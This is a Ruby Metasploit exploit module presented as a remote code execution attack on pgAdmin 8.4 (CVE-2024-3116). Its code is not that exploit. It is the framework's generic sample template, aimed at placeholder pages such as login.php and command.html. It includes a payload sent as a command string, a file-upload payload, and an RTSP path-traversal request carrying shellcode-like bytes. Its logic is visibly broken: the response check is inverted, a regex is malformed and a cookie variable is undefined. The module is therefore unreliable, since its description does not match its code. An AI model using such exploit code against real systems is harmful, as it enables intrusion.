## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # # This exploit affects a webapp, so we need to import HTTP Client # to easily interact with it. # prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'pgAdmin Binary Path API RCE', 'Description' => %q{ pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. This vulnerability allows attackers to execute arbitrary code on the server hosting PGAdmin, posing a severe risk to the database management system's integrity and the security of the underlying data. Tested on pgAdmin 8.4 on Windows 10. }, 'License' => MSF_LICENSE, 'Author' => [ 'M.Selim Karahan', # metasploit module 'Ayoub Mokhtar' # vulnerability discovery and write up ], 'References' => [ [ 'CVE', '2024-3116'], [ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'], [ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116'] ], 'Platform' => ['windows'], 'Arch' => ARCH_X64, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2024-03-28', 'DefaultTarget' => 0, # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'Reliability' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ], 'SideEffects' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(80), OptString.new('USERNAME', [ false, 'User to login with', 'admin']), OptString.new('PASSWORD', [ false, 'Password to login with', '123456']), OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/']) ] ) end # # The sample exploit checks the index page to verify the version number is exploitable # we use a regex for the version number # def check # only catch the response if we're going to use it, in this case we do for the version # detection. res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET' ) # gracefully handle if res comes back as nil, since we're not guaranteed a response # also handle if we get an unexpected HTTP response code return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200 # here we're looking through html for the version string, similar to: # Version 1.2 %r{Version: (?\d{1,2}\.\d{1,2})} =~ res.body if version && Rex::Version.new(version) <= Rex::Version.new('1.3') CheckCode::Appears("Version Detected: #{version}") end CheckCode::Safe end # # The exploit method attempts a login, then attempts to throw a command execution # at a web page through a POST variable # def exploit # attempt a login. In this case we show basic auth, and a POST to a fake username/password # simply to show how both are done vprint_status('Attempting login') # since we will check res to see if auth was a success, make sure to capture the return res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.php'), 'method' => 'POST', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), # automatically handle cookies with keep_cookies. Alternatively use cookie = res.get_cookies and 'cookie' => cookie, 'keep_cookies' => true, 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, 'vars_get' => { 'example' => 'example' } ) # a valid login will give us a 301 redirect to /home.html so check that. # ALWAYS assume res could be nil and check it first!!!!! fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 301 # we don't care what the response is, so don't bother saving it from send_request_cgi # datastore['HttpClientTimeout'] ONLY IF we need a longer HTTP timeout vprint_status('Attempting exploit') send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'command.html'), 'method' => 'POST', 'vars_post' => { 'cmd_str' => payload.encoded } }, datastore['HttpClientTimeout']) # send_request_raw is used when we need to break away from the HTTP protocol in some way for the exploit to work send_request_raw({ 'method' => 'DESCRIBE', 'proto' => 'RTSP', 'version' => '1.0', 'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + '.smi' }, datastore['HttpClientTimeout']) # example of sending a MIME message data = Rex::MIME::Message.new # https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb file_contents = payload.encoded data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"uploaded.bin\"") data.add_part('example', nil, nil, "form-data; name=\"_wpnonce\"") post_data = data.to_s res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'async-upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie ) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end